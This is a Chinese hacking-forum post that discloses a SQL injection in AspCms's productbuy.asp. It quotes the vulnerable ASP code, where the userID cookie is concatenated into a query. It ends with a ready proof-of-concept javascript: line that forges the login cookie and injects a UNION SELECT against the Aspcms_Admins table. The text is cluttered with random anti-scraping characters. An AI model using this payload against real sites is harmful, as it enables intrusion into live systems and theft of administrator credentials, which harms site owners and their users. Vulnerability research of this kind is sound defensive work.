好久没上土司了,上来一看发现在删号名单内.....% M; c$ I3 _' j1 j2 n
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。 M5 [* U, t* ~2 q1 K$ d/ _/ D) y
废话不多说,看代码:8 ^+ k0 |2 }0 w- q
- |' K/ ?( O! E. W<%% D- r1 x5 C' w2 _/ ?8 ^
" Y. S2 z1 q+ {) i* [if action = "buy" then. V1 w) b( Q9 A! s7 [
% {% z3 O! O! z, A
addOrder()# t# D% W7 ~! }! d/ n" G
" J. I7 p$ |# \% ^else2 S2 L: \2 I; q/ f& M
5 [ u4 B G% Y( A( k6 e$ h echoContent()6 _ H& O7 j$ F6 L. h9 t
1 [' g" O9 _! }: \3 J% fend if# a: Z9 J( `9 I; e; e
9 X0 h# Z+ \2 D
$ o4 f, _ k' B5 s" ]' U" K- Z% j/ y
……略过
- l \$ c5 \3 e4 _- [7 ^
4 |5 O, y) z, v( r( P+ `5 J- I/ Z. w4 ]! ~* v0 F3 |2 u0 j. z
% {* l8 k2 [4 a- C
Sub echoContent()6 s, _2 [3 k: ^4 x3 a5 s
# u- T+ {& Y2 d# ]- o! S! P
dim id
& Y) g! ~9 G, {0 C: K" B8 Z4 Y0 v; J, K8 o) }
id=getForm("id","get")( P5 i( M8 m" g2 c; q+ n
8 w9 R' C& X x4 j/ P
& j/ K! C( q9 v. e
" G7 i' a2 w7 t- b2 f$ g" S: w, _ if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
0 W7 R0 i# d% Z2 _1 ]; v w- T' @: ~
/ r$ k: S, Y8 f3 s
' i0 t! i& k* m# b dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")+ `0 z0 g/ X( X, A
; l ^- o- N. } g6 P8 v* Z$ S \0 s& } dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct0 _8 a* F! J" g" U- g: r4 E
' c( G; Q9 {2 `6 ~% {# b6 u Dim templatePath,tempStr) e# x/ |/ b3 g
9 \6 ]# n% g/ _
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
! U1 z3 W/ t! ]8 ]0 A
2 m+ m1 f' `. J* ?
2 c# c) K8 {. z+ ]& l- U
: l% B4 D& _" w0 a4 _9 r( u set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")( A4 A4 L6 i$ l" P
$ r0 f0 i) k9 Q) s* l; T
selectproduct=rsObj(0)3 x: j/ c3 @6 _$ a) C9 f
8 x, e2 j- T5 m9 n
3 I7 v* }7 l6 ~2 z# T
) D* B a2 e2 a+ W/ ~ Dim linkman,gender,phone,mobile,email,qq,address,postcode
' V( e2 a6 h9 W* {1 Y/ W2 z v' D/ ?) [: ^2 t
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
( B2 H# K4 M" U. O, j$ y' E& ]4 D9 f! Q, ^+ Z
if rCookie("loginstatus")=1 then
9 v: t% E+ |1 d1 ]% q7 T v8 v) N$ d; h) b1 T
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1"); ? O! F8 }' I! o2 @
; O9 E4 i2 J1 ^; S
linkman=rsObj("truename")6 E6 Y3 _0 Q8 v. Z& n$ ]- h
. e5 M3 j/ O, ]- \ gender=rsObj("gender")
2 e. m: W+ g: L: q& s. M
" K" Q! t1 N/ j6 K3 [# h0 Z( j phone=rsObj("phone")
; M* F8 x9 q6 F3 u; z" I k. Q6 c5 h7 L+ r
mobile=rsObj("mobile")& x+ K8 X# q# p$ X
% ~- a* _6 L d+ s email=rsObj("email")
" _; E0 N1 C1 p4 ^
; `4 a. [ E! A3 j2 A, V6 x qq=rsObj("qq")
1 d0 U+ h9 G2 s+ ^; J
2 V3 t6 F! p0 I E address=rsObj("address")# _$ @: \! l" Q
) @7 \" z0 j6 H+ ^5 J( w _
postcode=rsObj("postcode")1 w! v. Q$ w1 `8 u
9 q% @ ]7 d3 `2 l- b8 V( z5 I else 7 a. {( o3 P3 w: B* e
# t! i6 R" z! e$ G3 y" i# `4 S8 b
gender=1
% V& A1 m( A" E5 X' l0 Q+ Z
& E, g/ v# }2 K0 X( b end if h4 k) L/ J7 F( V7 R
9 c9 A3 E: Y- s& g6 M/ Y& R rsObj.close()
+ S8 ]! s+ w$ R* |) H5 {; R
6 Q3 C7 @9 x- J1 T- Q6 S7 v
% z) v( L' u0 y' `. L8 G/ d! a: w0 \1 B, P
with templateObj
4 L0 e. K! Y5 i v3 n/ A2 F3 g4 T& T* R; f' Y
.content=loadFile(templatePath)
) P A* |9 n9 \, x# x% p, o% Q" m" K) z/ j& S
.parseHtml()+ f* u* }" [6 y: o* ?1 E
% C O8 i2 }/ B; v/ b1 I .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
/ \/ t+ O3 E& x
# _) v7 K$ |3 y3 K3 w .content=replaceStr(.content,"[aspcms:linkman]",linkman) ' x- j) B" z9 B8 t6 k
# w9 C# o- j% }6 v
.content=replaceStr(.content,"[aspcms:gender]",gender) - F5 K7 J1 E) k
5 B: c: _, v4 g% S' ]# N
.content=replaceStr(.content,"[aspcms:phone]",phone) : g' M+ i; k% o& N# E
" A$ q. a+ A7 Z- [+ o6 b
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
: R* T; W6 t& F/ Q) Z
. t& U& u2 t; u6 b .content=replaceStr(.content,"[aspcms:email]",email)
$ C2 m# H& @6 w
# _) O) R+ w$ }! V8 N .content=replaceStr(.content,"[aspcms:qq]",qq)
: a- g7 g9 q( d8 k$ E( B
1 M4 D4 L1 w! f9 N5 H* {4 w" z/ } .content=replaceStr(.content,"[aspcms:address]",address) ) p9 m- D6 j1 Y8 W2 ^/ \: L0 x
% N" Y, Z. }4 \' _; g
.content=replaceStr(.content,"[aspcms:postcode]",postcode) # R% W& Q, e: H( {" r
q# Z! }- b' v% a
.parseCommon()
) S2 a4 ?* J- b) ^+ D( J9 d& c* L9 y- Z9 W7 u: m
echo .content 7 N: q) V+ m4 {
5 O7 p7 u J. ~* @$ ], v
end with% [- H4 ~3 @8 R- ~
7 w( u" Z- ] D set templateobj =nothing : terminateAllObjects J# l& w9 h/ f: H8 j7 }
5 c4 f! m2 G0 p8 G k, X. G
End Sub
8 l: _! f" M% L漏洞很明显,没啥好说的
' i% m' U# |! D0 Y5 n0 X: j. Gpoc:
. N% v( [, z" z! p$ p" G: e1 J) ~" y( j0 h1 b
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子1 P' B6 S- I9 R! X2 d) H" b" l1 U
. [' `% N s" r$ l
|